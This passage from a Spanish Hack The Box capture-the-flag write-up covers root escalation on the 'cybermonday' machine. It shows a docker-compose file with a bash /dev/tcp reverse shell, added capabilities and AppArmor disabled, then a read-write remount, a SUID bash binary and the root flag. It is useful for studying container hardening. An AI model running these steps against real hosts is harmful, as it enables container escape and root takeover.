Sobre el mismo realiza una serie de comprobaciones para asegurarse de que los mismos son seguros, aunque se olvida de alguna cosilla.
Vemos que podemos añadir un punto de montaje como sólo lectura y que el contenedor no debe tener privilegios pero no revisa dos partes importantes, las capabilities y las security options.
Así que vamos a aprovecharnos de que no verifica estas opciones para remontar el punto de montaje como escritura dentro del contenedor y hacer aquello que queramos.
Generamos nuestro fichero yml que sería el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 |
version: "3" services: web: image: "cybermonday_api" command: bash -c "bash -i >& /dev/tcp/10.10.14.16/4445 0>&1" volumes: - /home/john:/mnt:ro cap_add: - ALL security_opt: - apparmor:unconfined |
Una vez generado, ejecutamos
|
1 2 3 |
john@cybermonday:~$ sudo /opt/secure_compose.py /home/john/docker-compose.yml & [2] 9698 Starting services... |
Y tendremos acceso en nuestra escucha al contenedor
|
1 2 3 4 5 6 |
$ nc -nlvp 4445 listening on [any] 4445 ... connect to [10.10.14.16] from (UNKNOWN) [10.10.11.228] 52408 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@219c496ace79:/var/www/html# |
Copiamos el binario de bash desde la máquina a la home del usuario
|
1 |
john@cybermonday:~$ cp /bin/bash . |
Ahora en el contenedor, remontamos el disco, pero en este caso con permisos de escritura
|
1 2 |
root@219c496ace79:/var/www/html# mount -o remount,rw /mnt mount -o remount,rw /mnt |
Y cambiaremos los permisos del binario de bash poniendo a root como propietario y dandole permisos de suid
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
root@219c496ace79:/var/www/html# cd /mnt cd /mnt root@219c496ace79:/mnt# ls -l ls -l total 1232 -rwxr-xr-x 1 1000 1000 1234376 Aug 24 11:19 bash -rw-r--r-- 1 root root 701 May 29 23:26 changelog.txt -rw-r--r-- 1 1000 1000 242 Aug 24 11:18 docker-compose.yml drwxrwxrwx 240 root root 12288 Aug 24 08:12 logs -rw-r----- 1 root 1000 33 Aug 23 17:56 user.txt root@219c496ace79:/mnt# chown root: bash chown root: bash root@219c496ace79:/mnt# chmod +s ./bash chmod +s ./bash |
Una vez hecho volvemos al servidor y ejecutamos para escalar a root
|
1 2 3 4 5 6 7 8 9 10 |
ohn@cybermonday:~$ ls -l total 1232 -rwsr-sr-x 1 root root 1234376 Aug 24 07:19 bash -rw-r--r-- 1 root root 701 May 29 19:26 changelog.txt -rw-r--r-- 1 john john 242 Aug 24 07:18 docker-compose.yml drwxrwxrwx 240 root root 12288 Aug 24 04:12 logs -rw-r----- 1 root john 33 Aug 23 13:56 user.txt john@cybermonday:~$ ./bash -p bash-5.1# id uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),1000(john) |
Obteniendo la flag de root
Y vamos a por la flag
|
1 2 3 |
bash-5.1# cat /root/root.txt b0017bef5061f41585647b336837637d bash-5.1# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










